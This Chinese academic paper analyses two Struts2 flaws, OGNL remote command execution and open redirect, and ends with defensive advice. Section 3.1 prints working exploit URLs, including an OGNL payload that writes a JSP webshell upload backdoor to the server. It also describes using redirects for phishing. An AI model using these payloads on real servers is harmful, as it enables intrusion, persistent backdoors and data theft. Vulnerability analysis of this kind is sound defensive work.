廖文軍, 朱曉乾, 萬 開
淺析Struts2兩個安全漏洞的原理、利用與防范
廖文軍, 朱曉乾, 萬 開
(上海通用識別技術(shù)研究所,201112)
Struts2是一種web開發(fā)框架,當(dāng)前被廣泛應(yīng)用到大型互聯(lián)網(wǎng)企業(yè)、政府及金融機(jī)構(gòu)的網(wǎng)站建設(shè)中。由于Struts2的相對底層性,導(dǎo)致整個web系統(tǒng)對其安全性的依賴程度很高。近期,Apache公司公布了Struts2的兩個安全漏洞,引起業(yè)界的高度重視,本文將介紹Struts2的基本概念及這兩個漏洞形成的原理,并詳細(xì)介紹其利用方式及給出利用示例,同時在給出漏洞防范措施的基礎(chǔ)上對此類安全問題的防范進(jìn)行總結(jié)和思考。
Struts2;Struts2漏洞;OGNL;Webwork
隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展以及人們對web站點(diǎn)的功能性需求越來越高,越來越多的結(jié)構(gòu)化的通用網(wǎng)站架構(gòu)技術(shù)被提出和應(yīng)用,其中Struts2就是一種典型的web站點(diǎn)設(shè)計(jì)框架,它采用MVC模式,用來幫助java開發(fā)者利用J2EE快速開發(fā)web應(yīng)用,且因Struts2具有開源、純pojo的Action等特點(diǎn),而備受歡迎。Struts2的廣泛使用為Struts2可能的漏洞利用提供了廣袤的空間,同時也為用戶防范Struts2及相類似的安全問題敲響了警鐘。
1.1 Webwork
Webwork來自一個開源組織opensymphony,且是在Xwork項(xiàng)目的基礎(chǔ)上發(fā)展而來,webwork簡潔且功能強(qiáng)大,完全從web層脫離,它提供了包括前端攔截、表單屬性驗(yàn)證、類型轉(zhuǎn)換以及強(qiáng)大的表達(dá)式語言O(shè)GNL等核心功能。Webwork在處理http請求和響應(yīng)時使用ServletDispatcher將http請求轉(zhuǎn)化為業(yè)務(wù)層、會話層和應(yīng)用層范圍的映射,請求參數(shù)映射為Webwork2支持的多視圖表示,視圖部分可以使用JSP、Velocity、FreeMarker、JasperRepots、XML等。
1.2 Struts2
Struts2架構(gòu)繼承了webwork的架構(gòu)流程,而并未沿用Struts1的設(shè)計(jì)核心,但從處理流程上看,Struts2還是以控制器為重點(diǎn),包括核心控制器和業(yè)務(wù)邏輯控制器,Struts2的一般處理流程如圖1所示。
圖1 Struts2的一般處理流程
Struts2核心控制器使用攔截器機(jī)制,當(dāng)用戶的請求到達(dá)時,核心控制器會過濾所有的請求,并將其中的請求參數(shù)解析出來,傳入到Action中,然后調(diào)用相應(yīng)的execute方法來處理用戶的請求;Struts2業(yè)務(wù)邏輯控制器Action可由用戶自定義,用戶可以使用Struts2提供的Action接口來實(shí)現(xiàn)具體的Action類,從而增加了代碼的可復(fù)用性且更易于測試。與此同時,Struts2的視圖層通過大量的標(biāo)簽來實(shí)現(xiàn),它的標(biāo)簽庫不僅提供了數(shù)據(jù)處理的功能,而且還提供了諸如流程控制、Ajax支持等功能。
1.3 OGNL
2.2 節(jié)中闡述了Struts2使用標(biāo)簽庫來實(shí)現(xiàn)很多功能,而Struts2中的標(biāo)簽是通過OGNL表達(dá)式作為基礎(chǔ)的。OGNL是Object-Graph Navigation Language的縮寫,是一種功能強(qiáng)大的表達(dá)式語言,通過它簡單一致的表達(dá)式語法,可以存取對象的任意屬性,調(diào)用對象的方法,遍歷整個對象的結(jié)構(gòu)圖,實(shí)現(xiàn)字段類型轉(zhuǎn)化等功能。OGNL支持豐富的表達(dá)式,但語法結(jié)構(gòu)卻非常簡單,一個簡單的OGNL表達(dá)式如下:
name.toCharArray()[0].numericValue.toString()
這個表達(dá)式是按照如下步驟求值:
(1)獲得OGNL Context中初始對象或者是根對象(root對象)的name對象;
(2)調(diào)用toCharArray()方法,返回一個String類型對象;(3)獲得該String對象的第一個字符;
(4)獲得該字符的numericValue屬性(該字符為一個Character對象,該對象有一個getNumericValue()方法,該方法返回一個Integer類型值);
(5)將獲得的Integer對象轉(zhuǎn)換為一個String類型值(使用toString()方法)。
Struts2中的OGNL和標(biāo)準(zhǔn)OGNL的區(qū)別在于Struts2中默認(rèn)將值棧(Value Stack)作為OGNL的根對象,因此在不用#標(biāo)示命名空間的時候,Struts2會默認(rèn)將值棧中的棧頂元素作為根對象。
近期,Struts2的兩個安全漏洞被爆出,分別為遠(yuǎn)程命令執(zhí)行漏洞和重定向漏洞,這兩種漏洞分別利用導(dǎo)航前綴action及重定向前綴redirect構(gòu)造時未對內(nèi)容做過濾和檢查,從而使得構(gòu)造的數(shù)據(jù)被作為OGNL表達(dá)式執(zhí)行。針對遠(yuǎn)程執(zhí)行漏洞,黑客可以通過構(gòu)造特殊格式的URL地址,將要執(zhí)行的命令內(nèi)容寫入到URL中并將該URL提交,服務(wù)器端在解析該URL時會執(zhí)行其中的命令,黑客可以通過執(zhí)行不同的命令來進(jìn)行獲取目標(biāo)主機(jī)的信息、執(zhí)行相關(guān)系統(tǒng)命令、上傳惡意文件、目標(biāo)數(shù)據(jù)庫信息操作等操作,從而達(dá)到入侵信息系統(tǒng)和竊取數(shù)據(jù)的目的;而針對重定向漏洞,黑客可以將希望跳轉(zhuǎn)的網(wǎng)址嵌入到提交的URL中,使得用戶在訪問時自動跳轉(zhuǎn)到黑客設(shè)定的目標(biāo)網(wǎng)頁,而這個網(wǎng)頁有可能是黑客精心設(shè)計(jì)的釣魚或掛馬頁面。
3.1 遠(yuǎn)程執(zhí)行命令漏洞利用
Apache曾在其官網(wǎng)上公布了Struts2漏洞的POC代碼,參照POC代碼可以構(gòu)造出初級的遠(yuǎn)程執(zhí)行命令URL:http://website:port/struts2-blank/example/ HelloWorld.action?action:%25{(new+java.lang. ProcessBuilder(new+java.lang.String[]{'calc'})). start()}
在上述的URL中,whoami是要遠(yuǎn)程執(zhí)行的指令,用來顯示系統(tǒng)當(dāng)前登錄賬戶的用戶名稱信息。通過該示例可以明顯的看出,設(shè)計(jì)合理的URL將要遠(yuǎn)程執(zhí)行的命令包含其中,并加以一定的數(shù)據(jù)回傳技術(shù)就能夠遠(yuǎn)程執(zhí)行相關(guān)程序,并在遠(yuǎn)程查看程序的執(zhí)行結(jié)果。
要想進(jìn)一步的提升自己在目標(biāo)系統(tǒng)中的權(quán)限或者長期保持對目標(biāo)系統(tǒng)的控制,需要在目標(biāo)系統(tǒng)中植入后門,利用Struts2遠(yuǎn)程執(zhí)行命令漏洞也能夠?qū)崿F(xiàn).
首先通過getServletContext()獲取目標(biāo)網(wǎng)站的Servlet上下文對象,再通過getRealPath()獲取網(wǎng)站的絕對路徑信息,然后設(shè)法將webshell文件上傳,構(gòu)造的URL如下所示:
http://website:port/struts2-blank/example/ HelloWorld.action?redirect:%25{%23req%
3 d%2 3 c o n t e x t.g e t('c o m.o p e n s y m p h o n y. xwork2.dispatcher.HttpServletRequest'),%23p %3d(%23req.getRealPath(%22/%22)%2b%22webshe ll.jsp%22).replaceAll("\\","/"),new+java. io.BufferedWriter(new+java.io.FileWriter(%23p)). append(%23req.getParameter(%22content%22)).close()}&co ntent=%3c%25if(request.getParameter(%22f%22)!%3dnull) (new+java.io.FileOutputStream(application.getRealP ath(%22%2f%22)%2brequest.getParameter(%22f%22))). w r i t e(r e q u e s t.g e t P a r a m e t e r(%2 2 t%2 2). getBytes())%3b%25%3e
字符轉(zhuǎn)義后為:
http://website:port/struts2-blank/example/ HelloWorld.action?redirect:${#req=
#context.get('com.opensymphony.xwork2.dispatcher. HttpServletRequest'),#p=(#req.getRealPath("/")+"webshell. j s p").r e p l a c e A l l("\\","/"),n e w+j a v a. io.BufferedWriter(new+java.io.FileWriter(#p)). a p p e n d(#r e q.g e t P a r a m e t e r("c o n t e n t")). close()}&content=<%if(request.getParameter("f")!=null)(new+java.io.FileOutputStream(application. getRealPath("%2f")+request.getParameter("f"))). write(request.getParameter("t").getBytes());%>
其中webshell.jsp為上傳后保存在目標(biāo)網(wǎng)絡(luò)主機(jī)絕對路徑之下的文件名,content表征要寫入的文件內(nèi)容,參數(shù)f表征要上傳文件的文件名,參數(shù)t表征要上傳的文件內(nèi)容。
為便于本地操控端操作,構(gòu)造簡單的html頁面,如圖2所示:
圖2 本地操作示例
這樣就可以根據(jù)需要將要使用的腳本內(nèi)容上傳到服務(wù)器端,從而獲取webshell的權(quán)限。
在漏洞爆出以后,出現(xiàn)了很多集成了上述原理的漏洞利用工具,便于進(jìn)行快速的實(shí)施漏洞檢測和利用,圖3給出了使用一款漏洞利用工具實(shí)際探測到存在該漏洞某站點(diǎn)的相關(guān)信息。
圖3 遠(yuǎn)程指令執(zhí)行漏洞利用示例
3.2 開放式重定向漏洞利用
與遠(yuǎn)程執(zhí)行命令漏洞會對目標(biāo)站點(diǎn)服務(wù)器產(chǎn)生影響不同的是,開放式重定向漏洞更多的是針對普通用戶的攻擊。開放式重定向漏洞可被主要用來進(jìn)行釣魚攻擊或網(wǎng)頁掛馬攻擊,利用該漏洞的方式也很便捷,只需把要重定向的網(wǎng)絡(luò)頁面地址添加到重定向參數(shù)前綴之后.
圖4 給出了利用重定向漏洞進(jìn)行網(wǎng)頁跳轉(zhuǎn)的示意。
圖4 重定向漏洞利用示例
自從Struts2被廣泛使用以來,前后已經(jīng)爆出多個框架式漏洞,盡管應(yīng)用Struts2能夠?yàn)閣eb應(yīng)用開發(fā)帶來很多便捷,但Struts2的這些漏洞和缺陷給使用該框架的站點(diǎn)帶來了很大的安全隱患。本文分析的兩種Struts2漏洞皆因Struts2中的OGNL表達(dá)式的執(zhí)行沒有進(jìn)行嚴(yán)格的安全檢查,要想防范這一類型的安全問題,基本有兩種方式,一是前端檢測,這種檢測對于表單提交具有一定的效用,對于URL構(gòu)造難以起到較好的檢測效果;另一類是后端檢測,即在執(zhí)行OGNL之前,對URL中用戶提交的相關(guān)執(zhí)行內(nèi)容進(jìn)行安全性檢測,甚至可以構(gòu)造一個威脅指令集,凡在此集合中的指令,OGNL都將不會被執(zhí)行,這樣將有效的杜絕類似遠(yuǎn)程執(zhí)行以及重定向之類漏洞的利用。
Struts2除了本文闡述的兩個漏洞之外,還存在一些其他形式的缺陷,如action屬性設(shè)計(jì)缺陷、taglib設(shè)計(jì)缺陷、HTTP Parameter Pollution處理缺陷等,這些缺陷被惡意利用時就會成為威脅web站點(diǎn)安全的漏洞;當(dāng)然,其他的web開發(fā)框架也或多或少的存在各種形式的缺陷和漏洞。人們在利用開發(fā)框架進(jìn)行軟件設(shè)計(jì)時是出于便捷、可拓展、可復(fù)用和結(jié)構(gòu)化可配置的目的,但各類開發(fā)框架廣泛應(yīng)用的同時,框架本身的缺陷問題有時已經(jīng)超越應(yīng)用程序本身的代碼和邏輯缺陷,而且一旦有框架級的缺陷和漏洞,其對整體應(yīng)用系統(tǒng)的安全威脅將更底層、更廣泛和更深遠(yuǎn),因此在大規(guī)模使用各類開發(fā)框架進(jìn)行程序設(shè)計(jì)和實(shí)施時應(yīng)當(dāng)權(quán)衡框架利用的利弊,并應(yīng)當(dāng)對開發(fā)框架進(jìn)行更多的安全評估,才能更為有效的保障應(yīng)用系統(tǒng)的安全。
本文在簡單介紹Struts2框架的基本概念和知識之后,重點(diǎn)闡述了Struts2的兩種漏洞,并分析和闡述了這兩種漏洞的利用方式,同時給出了針對存在該漏洞的某站點(diǎn)的實(shí)際利用結(jié)果示例,最后基于Struts2框架存在的各類缺陷和漏洞,以及各類web開發(fā)框架被廣泛應(yīng)用的事實(shí),對應(yīng)用程序開發(fā)使用通用開發(fā)框架的利弊進(jìn)行總結(jié)和分析,并指出在使用這些框架時,應(yīng)對其進(jìn)行更多的安全考量和評估。
[1] [美]多雷.Struts基礎(chǔ)教程[M].鐵手譯.北京:人民郵電出版社,2007.
[2] 武寶珠,梁聲灼,牛德雄.基于Struts2+Spring+Hibernate架構(gòu)構(gòu)建Web應(yīng)用系統(tǒng)[J].計(jì)算機(jī)與現(xiàn)代化,2009(8):43-46.
[3] 黃宇,付琨,吳一戎.大規(guī)模目標(biāo)解譯本體存儲映射模式的研究[J].計(jì)算機(jī)工程,2009(15):79-81.
Analysis of two Struts2 Security vulnerabilities Principle,Utilization and Protection
Liao Wenjun,Zhu Xiaoqian,Wan kai
(Shanghai General Recognition Technology Institute,201112)
Structs2 is a web development framework widely applied to website building in large internet companies,the government and financial institutions.As a website bottom template,the whole web system is heavily dependent on its safety.Recently Apache has revealed two security vulnerabilities of Structs2, drawing much attention.This paper introduces Structs2’s basic concept and the forming principle of its two vulnerabilities,illustrates how to utilize them with examples,and concludes with the way to prevent them.
Struts2;Struts2 vulnerabilities;OGNL;Webwork